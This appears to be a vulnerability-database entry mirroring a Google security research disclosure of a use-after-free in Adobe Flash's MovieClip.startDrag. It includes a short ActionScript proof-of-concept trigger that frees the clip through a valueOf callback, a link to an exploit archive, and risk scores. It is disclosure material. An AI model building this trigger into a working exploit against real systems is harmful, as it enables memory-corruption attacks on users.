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Adobe Flash MovieClip.startDrag - Use-After-Free
10
Source: https://code.google.com/p/google-security-research/issues/detail?id=592
There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.
A minimal POC follows:
this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);
function func(){
mc.removeMovieClip();
// Fix heap here
return 1;
}
A sample fla and swf are attached.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39041.zip
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18 Dec 2015 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.68383